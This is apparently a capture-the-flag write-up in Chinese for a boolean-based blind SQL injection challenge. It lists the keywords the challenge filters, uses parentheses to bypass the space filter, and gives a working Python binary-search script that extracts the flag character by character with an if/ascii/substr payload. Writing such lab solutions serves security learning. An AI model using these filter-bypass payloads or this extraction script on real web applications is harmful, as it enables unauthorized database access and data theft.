应该算是bool盲注
这题过滤了许多东西,建议Fuzz测试一下,and or # - union
但是()
可以用 if
也可以
尝试 id=(length(database())>4)
是成功回显id=1
结果
payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)
值得注意的是这里用 ()
绕过空格
一个二分法的脚本:
import requests
url="http://b8f9001a-a646-4ff0-a940-8e7c928e9290.node3.buuoj.cn/index.php"
flag=""
for i in range(1,100):
min=32
max=128
while 1:
middle=min+((max-min)//2)
if min == middle:
flag+=chr(middle)
print(flag)
if chr(middle)=="}":
exit()
break
payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)
data={'id':payload}
res=requests.post(url=url,data=data).text
#print(res)
if "glzjin wants a girlfriend" in res:
max=middle
else:
min=middle